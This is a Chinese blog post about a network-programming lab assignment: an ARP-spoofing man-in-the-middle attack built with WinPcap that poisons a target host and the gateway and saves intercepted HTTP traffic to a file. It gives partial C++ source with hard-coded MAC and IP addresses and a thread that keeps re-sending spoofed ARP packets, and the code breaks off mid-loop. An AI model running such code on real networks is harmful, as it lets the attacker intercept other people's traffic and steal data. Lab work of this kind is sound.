【网络编程】arp欺骗

实验要求:

利用WinPcap编程,实现基于ARP欺骗的中间人攻击。

       1. 利用WinPcap,分别向被欺骗主机和网关发送APR请求包,达到同时欺骗目标主机和网关的目的;

   2. 所有目标主机和网关之间的数据都会被我们劫持,过滤两者之间的所有http交互数据包,并保存为文件。(http包的过滤可用80端口来标识)


由于图片太多,懒得上传,我就直接给出源码吧。。。。


源码:

#include "stdafx.h"
#include "iostream"
#include <pcap.h>
#include<fstream>
#include<sstream>
#include<cstring>
#include<string>
#include<cstdio>
#include"ARPSpoofing.h"
using namespace std;

unsigned char mac_target[6] = { 0xa4, 0xd1, 0x8c, 0xc9, 0x2e, 0x88 };		//目标主机mac地址 
unsigned char mac_gate[6] = { 0xaa, 0x63, 0xdf, 0x06, 0xd2, 0x64 };		//网关的mac地址	
unsigned char mac_mine[6] = { 0x40, 0xe2, 0x30, 0x68, 0x43, 0xa9 };		//我的mac地址 
unsigned char ip_target[4] = { 172, 20, 10, 9 };						//目标主机ip  
unsigned char ip_gate[4] = { 172, 20, 10, 1 };							//网关ip  
unsigned char ip_mine[4] = { 172, 20, 10, 5 };						//我的ip  

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
ofstream fffopen("http.txt", ios::binary);
pcap_t *adhandle;						//打开网络适配器,捕捉实例,是pcap_open返回的对象
DWORD WINAPI KeepArp(LPVOID lpParameter)
{
	CheatPacket *PACKET = (CheatPacket *)lpParameter;
	while (true)
	{
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值